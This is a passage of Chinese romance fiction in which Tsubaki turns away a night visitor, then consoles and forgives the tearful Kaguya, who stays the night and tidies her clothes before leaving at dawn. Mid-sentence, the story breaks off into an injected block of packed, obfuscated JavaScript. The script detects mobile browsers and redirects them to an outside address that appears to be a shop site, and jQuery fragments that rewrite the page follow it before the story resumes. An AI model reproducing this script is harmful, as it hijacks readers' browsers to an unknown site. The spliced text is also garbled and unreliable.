朔伸出手，接过了那条还带着裁剪毛边的素色腰带。
他依旧没有看她，只是低着头，看着手中那件仓促而就的“礼物”。
两人就这么面对面地站在深夜的廊下，中间隔着一步之遥。夜风穿过长廊，带着寒意吹得椿裸露在外的脖颈起了一层细小的疙瘩。
她语气放缓了些，带着驱赶的意味：“别站在这儿了，风凉。”
朔依旧低着头，声音闷闷地。
“姐姐……里面有客人吗？”
“……是杏子，她在帮我整理东西，里面乱得很。”
朔握着腰带的手指收紧了一下，他抬起头目光从她脸上扫过，又迅速移开。
似乎并不全然相信，却又找不到质疑的理由。
最终只是微微颔首，低声道：“那姐姐早些休息。”
说完他不再停留，转身融入了走廊更深处的黑暗中。
椿看着他消失的方向，直到那脚步声彻底听不见，才带着一丝脱力感靠在门框上。
她深吸一口带着夜露气息的凉空气，之后重新推开那一道门缝，侧身钻回了依旧亮着灯的房间。
椿没有立刻理会屋内的辉夜，她走到那盏昏黄的座灯前，俯身轻轻吹熄了灯芯。
“噗”的一声轻响，最后一点光源消失，房间瞬间被浓稠的黑暗吞没。清冷的月光勉强透过窗格的纸障，在地板上投下几块模糊的光斑。
现在他们的身影再也无法投射到门上了，所有的纠缠与秘密，都被这黑暗小心地包裹起来。
眼睛需要片刻适应这突如其来的黑暗，椿的夜视不好，凭着记忆朝着辉夜大概的方向走过去。
黑暗中她能感受到他的存在，听到他细微的呼吸声。果然一只温热的手摸索着伸过来，习惯性地想要拉住她。
椿没有犹豫，抬手“啪”地一下不轻不重地将他的手拍开。
这声响在寂静中格外清晰。
“你也该走了。”她的声音在黑暗中响起。
辉夜的手僵在半空，他没有动，也没有说话。
静默了片刻，才听到他窸窸窣窣地移动脚步，极不情愿地朝着窗户的方向磨蹭，那脚步拖沓。当他终于磨蹭到窗边，手搭上窗棂即将翻出去的那一刻。
椿在他身后，补上了最后一句：
“以后也别来了。”
她不再看他，径直跪坐回榻榻米上，借着窗外透进的微弱月光，开始整理刚才她剪裁腰带时弄得更乱的衣箱。她将散落的衣物一件件拿起，折叠。
“……是不是因为我刚才说的话，让你不高兴了？”辉夜的声音从窗边传来。
他没有离开，依旧站在那里像一个被罚站的孩子。
椿没有回答，继续折叠着手中的一件襦袢。
黑暗中他的声音又响起来，带着急于辩白的慌乱：“我说什么生啊死啊的……都不当真的，我就是……就是胡说的。”
他顿了顿，语气变得急切，“我想和你一起生活，长久长久地生活下去，真的。”
他慢慢朝着她跪坐的方向靠近，脚步很轻，直到膝盖触碰到她散落的衣角，他才停下来，伸出手指尖轻轻地碰了碰她正在折叠衣物的手臂。
触碰很轻，像羽毛拂过。
“你不要不理我……”他的声音低了下去，带着浓重的鼻音，几乎是在哀求了，“我错了，我就是……就是想让你哄哄我。”
他重复着“我错了”，然后开始一声声地唤她，声音黏稠得如同化不开的蜜糖，又带着泣音，“椿小姐……椿小姐……”
他在喊她。
不是平日里偶尔带着戏谑的称呼，这带着全然的依赖和恐慌，像个迷失的孩子。
椿依旧没有回头，但她折叠衣物的动作慢了下来。
他拉着她衣袖的力道很轻，仿佛怕被她再次甩开。听他的声音带着压抑的哽咽，应该是要哭了。
辉夜年纪小，心思其实并不复杂，做事也总是求满，不留余地，情绪更是如此。
或者说这也成了他的一种习惯。
往日里在乐屋或练习场，因为性格太过粗线条，或是那份与生俱来的骄纵与高傲，总是不经意间受到同一门下内子弟的排挤和挤兑。
他那时也哭，从不掩饰。他长得漂亮，似乎天生就知道怎样哭起来更能惹人怜惜。
无声地掉眼泪，长长的睫毛被泪水濡湿，黏成一簇一簇，眼眶泛红，鼻尖也微微泛红，那双清澈的眼睛蒙上水雾就那样直直地望着你。
他就是要难过，就是要让人知道他的委屈，习惯把他的所有情绪，无论喜悦悲伤都毫无保留地袒露出来。
就像现在这样，他想让她动容。
椿的心软了一下。
她回忆起更多关于辉夜的眼泪。
他难过的时候哭，高兴的时候也哭。
他们第一次真正亲近的时候，是在一个冬夜。窗外大雪初霁，月光照在覆雪的松枝上，折射出无数细碎的冰晶，整个世界静谧得不似人间。
在那间堆放戏服道具的狭小房间里，他用他厚重的舞台衣裳环抱着只穿着单薄襦袢的她，两人的衣物都松散得可怜，肌肤相贴汲取着彼此的温度。
他们对看时，辉夜的眼睛总是蒙上一层雾气，像雪后初晴、氤氲着水汽的一汪清泉。
他那时在私下叫她时，还残留着最初的习惯，带着敬语，却又在情浓时一遍遍地、用他那把清润好听的声音缠绕着她，低唤着：“椿小姐……椿小姐……”
*
辉夜见她还是没有任何反应，似乎彻底慌了神。他绕到她的前面，将她正在整理的衣箱轻轻推开，然后整个人都伏了下来，将脑袋深深地埋进她的腰腹间，手臂紧紧地环住了她的腰。
“现在连话都不愿跟我说了吗？”
他的声音闷闷地从她衣料间传来，带着湿意，显然是哭了。
椿感觉到腰间传来的湿热，那是他的眼泪。她终于停下了所有动作，在黑暗中叹了口气。
她抬起手，犹豫了一下，最终还是落在了他柔软的黑发上，轻轻地抚摸了一下。
辉夜的身体一颤，环住她的手臂收得更紧了。
“我没有不理你。”她终于开口，“只是辉夜，有些话不能总是挂在嘴边，生死不是用来威胁和捆绑的工具。”
“我知道错了……”他立刻应道，抬起头来。
借着微弱的月光，她能模糊地看到他脸上交错的泪痕，眼睛和鼻尖都红红的，“我以后再也不乱说了，椿小姐你别赶我走，也别不让我来……”
看着他这副样子，椿终究是狠不下心肠对他。
她伸出手指，轻轻揩去他脸颊上的泪痕，动作算不上多
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250262|197308||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么温柔。
辉夜止住了哭泣，睁着一双湿漉漉的眼睛一眨不眨地看着她。
“好了，”她的语气缓和下来，“别哭了，今晚就留下吧。”
辉夜的眼睛瞬间亮了起来。
他立刻破涕为笑，仿佛刚才那个哭得凄凄惨惨的人不是他一般。他点了点头，重新将脸埋回她腰间，蹭了蹭，像只终于被主人原谅的大型犬，发出细微的呜咽声。
椿任由他抱着，手依旧有一下没一下地抚着他的头发。
当晚，辉夜终究是拥着椿入睡了。
散乱的衣箱依旧摊开在榻榻米一角，月光悄然挪移被窗棂完全阻隔，室内陷入纯粹的黑暗与静谧。
寝具是柔软的棉布褥子和同样材质的薄被，带着阳光晒过后留下的干净气息，与夏日夜晚的微凉正好相宜。辉夜从背后抱着她，手臂环在她的腰间，力道不松不紧。
他此刻异常安静，呼吸平稳悠长，仿佛白日里所有的乖张偏执，都随着夜色深沉而层层剥落，沉淀下来。
但他似乎并未立刻入睡。
椿能感觉到，他的目光依旧停留在她的后颈，她忍不住伸出手向后摸索，轻轻覆盖住了他的眼睛。
“别看了，”她的声音带着浓重的睡意，模糊不清，“睡觉吧。”
辉夜在她掌心下眨了眨眼，长睫毛像小刷子一样扫过她的皮肤，带来细微的痒意。他捉住了她覆在他眼上的手，拉到唇边碰了碰她的指尖，然后才乖乖地“嗯”了一声，点了点头。
两人都是长发，发丝在枕上铺散开来，交缠在一起。
*
晨光熹微，透过窗纸将室内染上一层柔和的灰蓝色。
椿是在一片宁静中醒来的，她睁开眼，身侧早已空无一人，只留下一个微微凹陷的枕头痕迹。
他走得悄无声息。
她坐起身，目光落在房间角落的衣箱上。
昨夜被她翻得凌乱不堪的衣物，此刻已被整理得井井有条，一件件折叠得方正正，分门别类地摆放好。最上面是她日常穿着的几件，下面压着贴身的襦袢和肌襦袢，甚至还有她几件私密的衣物。
也不知道辉夜是怀着怎样一种心情，在黑暗中或晨光初露时仔细地将这些属于她的衣物一一抚平、折叠、归位。
椿没有立刻唤杏子或阿冬进来，她独自起身脱下昨夜那身衣服，走到房间一角的洗漱处，用木勺舀起微凉的清水净面，然后用布巾拭干。
接着她打开衣箱，从辉夜整理好的衣物中，取出一件淡琉璃色的单衣，上面织有细密的流水暗纹，是夏日里常穿的清爽款式。
她熟练地穿上肌襦袢，调整好襦袢的领口和袖口，然后将那件淡琉璃色单衣套在外面，系上一条与之相配的青色半幅带，在身后打了一个简洁利落的文库结。
整理好仪容，她走到窗边轻轻推开窗格。
刹那间，满眼灿金色的阳光涌入房中，庭院里经过夜露滋润的草木青翠欲滴，高大的紫阳花团簇盛开，蓝紫粉白点缀在浓绿之间。
蝉声尚未达到鼎沸，只是零星地试探着鸣叫。
目光掠过庭院，看到了那个正在西南角苗圃旁除草的身影。
石川茂穿着一身深蓝色的麻质作务衣，裤脚挽起，这会儿太阳已经升得有些高了，阳光直射下来。
椿朝他招了招手。